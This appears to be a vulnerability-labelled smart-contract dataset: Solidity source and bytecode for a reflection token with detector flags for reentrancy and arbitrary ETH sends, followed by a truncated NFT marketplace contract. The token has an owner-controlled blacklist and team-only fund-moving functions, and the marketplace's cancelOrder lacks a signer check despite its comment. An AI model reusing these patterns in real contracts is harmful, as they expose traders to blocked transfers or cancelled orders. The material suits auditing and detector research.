function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract A4billionToken is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "A4billionToken";
string private constant _symbol = "4Bullion";
uint8 private constant _decimals = 9;
//RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 4000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 4;
uint256 private _redisfee = 2;
//Bots
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value:
address(this).balance}
(address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 200000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function maxtx(uint256 maxTxpc) external {
require(_msgSender() == _teamAddress);
require(maxTxpc > 0);
_maxTxAmount = _tTotal.mul(maxTxpc).div(10**4);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _redisfee == 0) return;
_taxFee = 0;
_redisfee = 0;
}
function restoreAllFee() private {
_taxFee = 4;
_redisfee = 2;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (120 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _redisfee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102cd578063b515566a146102ed578063c3c8cd801461030d578063c9567bf914610322578063dd62ed3e1461033757600080fd5b806370a082311461023f578063715018a61461025f5780638da5cb5b1461027457806395d89b411461029c57600080fd5b80632634e5e8116100d15780632634e5e8146101cc578063313ce567146101ee5780635932ead11461020a5780636fc3eaec1461022a57600080fd5b806306fdde031461010e578063095ea7b31461015757806318160ddd1461018757806323b872dd146101ac57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600e81526d209a3134b63634b7b72a37b5b2b760911b60208201525b60405161014e9190611914565b60405180910390f35b34801561016357600080fd5b5061017761017236600461179b565b61037d565b604051901515815260200161014e565b34801561019357600080fd5b50673782dace9d9000005b60405190815260200161014e565b3480156101b857600080fd5b506101776101c736600461175a565b610394565b3480156101d857600080fd5b506101ec6101e73660046118cd565b6103fd565b005b3480156101fa57600080fd5b506040516009815260200161014e565b34801561021657600080fd5b506101ec610225366004611893565b610483565b34801561023657600080fd5b506101ec6104d4565b34801561024b57600080fd5b5061019e61025a3660046116e7565b610501565b34801561026b57600080fd5b506101ec610523565b34801561028057600080fd5b506000546040516001600160a01b03909116815260200161014e565b3480156102a857600080fd5b506040805180820190915260088152671a213ab63634b7b760c11b6020820152610141565b3480156102d957600080fd5b506101776102e836600461179b565b610597565b3480156102f957600080fd5b506101ec6103083660046117c7565b6105a4565b34801561031957600080fd5b506101ec61063a565b34801561032e57600080fd5b506101ec610670565b34801561034357600080fd5b5061019e610352366004611721565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061038a338484610a32565b5060015b92915050565b60006103a1848484610b56565b6103f384336103ee85604051806060016040528060288152602001611b00602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f68565b610a32565b5060019392505050565b600c546001600160a01b0316336001600160a01b03161461041d57600080fd5b6000811161042a57600080fd5b610448612710610442673782dace9d90000084610fa2565b90611028565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b031633146104b65760405162461bcd60e51b81526004016104ad90611969565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104f457600080fd5b476104fe8161106a565b50565b6001600160a01b03811660009081526002602052604081205461038e906110ef565b6000546001600160a01b0316331461054d5760405162461bcd60e51b81526004016104ad90611969565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061038a338484610b56565b6000546001600160a01b031633146105ce5760405162461bcd60e51b81526004016104ad90611969565b60005b8151811015610636576001600a60008484815181106105f2576105f2611ab0565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062e81611a7f565b9150506105d1565b5050565b600c546001600160a01b0316336001600160a01b03161461065a57600080fd5b600061066530610501565b90506104fe8161116c565b6000546001600160a01b0316331461069a5760405162461bcd60e51b81526004016104ad90611969565b600f54600160a01b900460ff16156106f45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104ad565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107303082673782dace9d900000610a32565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561076957600080fd5b505afa15801561077d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a19190611704565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107e957600080fd5b505afa1580156107fd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108219190611704565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561086957600080fd5b505af115801561087d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a19190611704565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108d181610501565b6000806108e66000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561094957600080fd5b505af115801561095d573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061098291906118e6565b5050600f80546702c68af0bb14000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109fa57600080fd5b505af1158015610a0e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063691906118b0565b6001600160a01b038316610a945760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104ad565b6001600160a01b038216610af55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104ad565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bba5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ad565b6001600160a01b038216610c1c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ad565b60008111610c7e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104ad565b6000546001600160a01b03848116911614801590610caa57506000546001600160a01b03838116911614155b15610f0b57600f54600160b81b900460ff1615610d91576001600160a01b0383163014801590610ce357506001600160a01b0382163014155b8015610cfd5750600e546001600160a01b03848116911614155b8015610d175750600e546001600160a01b03838116911614155b15610d9157600e546001600160a01b0316336001600160a01b03161480610d515750600f546001600160a01b0316336001600160a01b0316145b610d915760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016104ad565b601054811115610da057600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610de257506001600160a01b0382166000908152600a602052604090205460ff16155b610deb57600080fd5b600f546001600160a01b038481169116148015610e165750600e546001600160a01b03838116911614155b8015610e3b57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e505750600f54600160b81b900460ff165b15610e9e576001600160a01b0382166000908152600b60205260409020544211610e7957600080fd5b610e84426078611a0f565b6001600160a01b0383166000908152600b60205260409020555b6000610ea930610501565b600f54909150600160a81b900460ff16158015610ed45750600f546001600160a01b03858116911614155b8015610ee95750600f54600160b01b900460ff165b15610f0957610ef78161116c565b478015610f0757610f074761106a565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610f4d57506001600160a01b03831660009081526005602052604090205460ff165b15610f56575060005b610f62848484846112f5565b50505050565b60008184841115610f8c5760405162461bcd60e51b81526004016104ad9190611914565b506000610f998486611a68565b95945050505050565b600082610fb15750600061038e565b6000610fbd8385611a49565b905082610fca8583611a27565b146110215760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104ad565b9392505050565b600061102183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611321565b600c546001600160a01b03166108fc611084836002611028565b6040518115909202916000818181858888f193505050501580156110ac573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110c7836002611028565b6040518115909202916000818181858888f19350505050158015610636573d6000803e3d6000fd5b60006006548211156111565760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104ad565b600061116061134f565b90506110218382611028565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111b4576111b4611ab0565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561120857600080fd5b505afa15801561121c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112409190611704565b8160018151811061125357611253611ab0565b6001600160a01b039283166020918202929092010152600e546112799130911684610a32565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112b290859060009086903090429060040161199e565b600060405180830381600087803b1580156112cc57600080fd5b505af11580156112e0573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b8061130257611302611372565b61130d848484611395565b80610f6257610f6260046008556002600955565b600081836113425760405162461bcd60e51b81526004016104ad9190611914565b506000610f998486611a27565b600080600061135c61148c565b909250905061136b8282611028565b9250505090565b6008541580156113825750600954155b1561138957565b60006008819055600955565b6000806000806000806113a7876114cc565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113d99087611529565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611408908661156b565b6001600160a01b03891660009081526002602052604090205561142a816115ca565b6114348483611614565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161147991815260200190565b60405180910390a3505050505050505050565b6006546000908190673782dace9d9000006114a78282611028565b8210156114c357505060065492673782dace9d90000092509050565b90939092509050565b60008060008060008060008060006114e98a600854600954611638565b92509250925060006114f961134f565b9050600080600061150c8e878787611687565b919e509c509a509598509396509194505050505091939550919395565b600061102183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f68565b6000806115788385611a0f565b9050838110156110215760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104ad565b60006115d461134f565b905060006115e28383610fa2565b306000908152600260205260409020549091506115ff908261156b565b30600090815260026020526040902055505050565b6006546116219083611529565b600655600754611631908261156b565b6007555050565b600080808061164c60646104428989610fa2565b9050600061165f60646104428a89610fa2565b90506000611677826116718b86611529565b90611529565b9992985090965090945050505050565b60008080806116968886610fa2565b905060006116a48887610fa2565b905060006116b28888610fa2565b905060006116c4826116718686611529565b939b939a50919850919650505050505050565b80356116e281611adc565b919050565b6000602082840312156116f957600080fd5b813561102181611adc565b60006020828403121561171657600080fd5b815161102181611adc565b6000806040838503121561173457600080fd5b823561173f81611adc565b9150602083013561174f81611adc565b809150509250929050565b60008060006060848603121561176f57600080fd5b833561177a81611adc565b9250602084013561178a81611adc565b929592945050506040919091013590565b600080604083850312156117ae57600080fd5b82356117b981611adc565b946020939093013593505050565b600060208083850312156117da57600080fd5b823567ffffffffffffffff808211156117f257600080fd5b818501915085601f83011261180657600080fd5b81358181111561181857611818611ac6565b8060051b604051601f19603f8301168101818110858211171561183d5761183d611ac6565b604052828152858101935084860182860187018a101561185c57600080fd5b600095505b8386101561188657611872816116d7565b855260019590950194938601938601611861565b5098975050505050505050565b6000602082840312156118a557600080fd5b813561102181611af1565b6000602082840312156118c257600080fd5b815161102181611af1565b6000602082840312156118df57600080fd5b5035919050565b6000806000606084860312156118fb57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561194157858101830151858201604001528201611925565b81811115611953576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119ee5784516001600160a01b0316835293830193918301916001016119c9565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a2257611a22611a9a565b500190565b600082611a4457634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a6357611a63611a9a565b500290565b600082821015611a7a57611a7a611a9a565b500390565b6000600019821415611a9357611a93611a9a565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104fe57600080fd5b80151581146104fe57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202d1ea04eb5a16fbef9789ab73c7febc67b992cf2a25eaaf739fb7c79ef6a6f5164736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,319 |
0x0186efe16d1b68d87d52cd7bbe9d202484b6f786
|
/**
*Submitted for verification at Etherscan.io on 2022-01-11
*/
pragma solidity 0.6.0;
interface ERC721 {
function safeTransferFrom(address from,address to,uint256 tokenId) external;
}
interface ERC20 {
function transferFrom(address src, address dst, uint wad)
external
returns (bool);
}
contract GollumTrader {
mapping(bytes32 => bool) public orderhashes; // keep tracks of orderhashes that are filled or cancelled so they cant be filled again
mapping(bytes32 => bool) public offerhashes; // keep tracks of offerhashes that are filled or cancelled so they cant be filled again
address payable owner;
ERC20 wethcontract;
event Orderfilled(address indexed from,address indexed to, bytes32 indexed id, uint ethamt,address refferer,uint feeamt,uint royaltyamt,address royaltyaddress);
event Offerfilled(address indexed from,address indexed to, bytes32 indexed id, uint ethamt,uint feeamt,uint royaltyamt,address royaltyaddress,uint isany);
event Ordercancelled(bytes32 indexed id);
event Offercancelled(bytes32 indexed id);
constructor ()
public
{
owner = payable(msg.sender);
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
wethcontract = ERC20(WETH);
}
/// @notice returns eip712domainhash
function _eip712DomainHash() internal view returns(bytes32 eip712DomainHash) {
eip712DomainHash = keccak256(
abi.encode(
keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
),
keccak256(bytes("GOLLUM.XYZ")),
keccak256(bytes("1")),
1,
address(this)
)
);
}
/// @notice called by buyer of ERC721 nft with a valid signature from seller of nft and sending the correct eth in the transaction
/// @param v,r,s EIP712 type signature of signer/seller
/// @param _addressArgs[4] address arguments array
/// @param _uintArgs[6] uint arguments array
/// @dev addressargs->//0 - contractaddress,//1 - signer,//2 - royaltyaddress,//3 - reffereraddress
/// @dev uintArgs->//0-tokenid ,//1-ethamt,//2-deadline,//3-feeamt,//4-salt,//5-royaltyamt
/// @dev ethamt amount of ether in wei that the seller gets
/// @dev deadline deadline will order is valid
/// @dev feeamt fee to be paid to owner of contract
/// @dev signer seller of nft and signer of signature
/// @dev salt salt for uniqueness of the order
/// @dev refferer address that reffered the trade
function matchOrder(
uint8 v,
bytes32 r,
bytes32 s,
address[4] calldata _addressArgs,
uint[6] calldata _uintArgs
) external payable {
require(block.timestamp < _uintArgs[2], "Signed transaction expired");
bytes32 hashStruct = keccak256(
abi.encode(
keccak256("matchorder(address contractaddress,uint tokenid,uint ethamt,uint deadline,uint feeamt,address signer,uint salt,address royaltyaddress,uint royaltyamt)"),
_addressArgs[0],
_uintArgs[0],
_uintArgs[1],
_uintArgs[2],
_uintArgs[3],
_addressArgs[1],
_uintArgs[4],
_addressArgs[2],
_uintArgs[5]
)
);
bytes32 hash = keccak256(abi.encodePacked("\x19\x01", _eip712DomainHash(), hashStruct));
address signaturesigner = ecrecover(hash, v, r, s);
require(signaturesigner == _addressArgs[1], "invalid signature");
require(msg.value == _uintArgs[1], "wrong eth amt");
require(orderhashes[hashStruct]==false,"order filled or cancelled");
orderhashes[hashStruct]=true; // prevent reentrency and also doesnt allow any order to be filled more then once
ERC721 nftcontract = ERC721(_addressArgs[0]);
nftcontract.safeTransferFrom(_addressArgs[1],msg.sender ,_uintArgs[0]); // transfer
if (_uintArgs[3]>0){
owner.transfer(_uintArgs[3]); // fee transfer to owner
}
if (_uintArgs[5]>0){ // if royalty has to be paid
payable(_addressArgs[2]).transfer(_uintArgs[5]); // royalty transfer to royaltyaddress
}
payable(_addressArgs[1]).transfer(msg.value-_uintArgs[3]-_uintArgs[5]); // transfer of eth to seller of nft
emit Orderfilled(_addressArgs[1], msg.sender, hashStruct , _uintArgs[1] , _addressArgs[3] ,_uintArgs[3],_uintArgs[5],_addressArgs[2]);
}
/// @notice invalidates an offchain order signature so it cant be filled by anyone
/// @param _addressArgs[4] address arguments array
/// @param _uintArgs[6] uint arguments array
/// @dev addressargs->//0 - contractaddress,//1 - signer,//2 - royaltyaddress,//3 - reffereraddress
/// @dev uintArgs->//0-tokenid ,//1-ethamt,//2-deadline,//3-feeamt,//4-salt,//5-royaltyamt
function cancelOrder(
address[4] calldata _addressArgs,
uint[6] calldata _uintArgs
) external{
bytes32 hashStruct = keccak256(
abi.encode(
keccak256("matchorder(address contractaddress,uint tokenid,uint ethamt,uint deadline,uint feeamt,address signer,uint salt,address royaltyaddress,uint royaltyamt)"),
_addressArgs[0],
_uintArgs[0],
_uintArgs[1],
_uintArgs[2],
_uintArgs[3],
_addressArgs[1],
_uintArgs[4],
_addressArgs[2],
_uintArgs[5]
)
);
orderhashes[hashStruct]=true; // no need to check for signature validation since sender can only invalidate his own order
emit Offercancelled(hashStruct);
}
/// @notice called by seller of ERc721NFT when he sees a signed buy offer of ethamt ETH
/// @param v,r,s EIP712 type signature of signer/seller
/// @param _addressArgs[3] address arguments array
/// @param _uintArgs[6] uint arguments array
/// @dev addressargs->//0 - contractaddress,//1 - signer,//2 - royaltyaddress
/// @dev uintArgs->//0-tokenid ,//1-ethamt,//2-deadline,//3-feeamt,//4-salt,//5-royaltyamt
function matchOffer(
uint8 v,
bytes32 r,
bytes32 s,
address[3] calldata _addressArgs,
uint[6] calldata _uintArgs
) external {
require(block.timestamp < _uintArgs[2], "Signed transaction expired");
bytes32 hashStruct = keccak256(
abi.encode(
keccak256("matchoffer(address contractaddress,uint tokenid,uint ethamt,uint deadline,uint feeamt,address signer,uint salt,address royaltyaddress,uint royaltyamt)"),
_addressArgs[0],
_uintArgs[0],
_uintArgs[1],
_uintArgs[2],
_uintArgs[3],
_addressArgs[1],
_uintArgs[4],
_addressArgs[2],
_uintArgs[5]
)
);
bytes32 hash = keccak256(abi.encodePacked("\x19\x01", _eip712DomainHash(), hashStruct));
address signaturesigner = ecrecover(hash, v, r, s);
require(signaturesigner == _addressArgs[1], "invalid signature");
require(offerhashes[hashStruct]==false,"order filled or cancelled");
offerhashes[hashStruct]=true;
if (_uintArgs[3]>0){
require(wethcontract.transferFrom(_addressArgs[1], owner , _uintArgs[3]),"error in weth transfer");
}
if (_uintArgs[5]>0){
require(wethcontract.transferFrom(_addressArgs[1], _addressArgs[2] , _uintArgs[5]),"error in weth transfer");
}
require(wethcontract.transferFrom(_addressArgs[1], msg.sender, _uintArgs[1]-_uintArgs[5]-_uintArgs[3]),"error in weth transfer");
ERC721 nftcontract = ERC721(_addressArgs[0]);
nftcontract.safeTransferFrom(msg.sender,_addressArgs[1] ,_uintArgs[0]);
emit Offerfilled(_addressArgs[1], msg.sender, hashStruct , _uintArgs[1] ,_uintArgs[3],_uintArgs[5],_addressArgs[2],0);
}
/// @notice invalidates an offchain offer signature so it cant be filled by anyone
function cancelOffer(
address[3] calldata _addressArgs,
uint[6] calldata _uintArgs
) external{
bytes32 hashStruct = keccak256(
abi.encode(
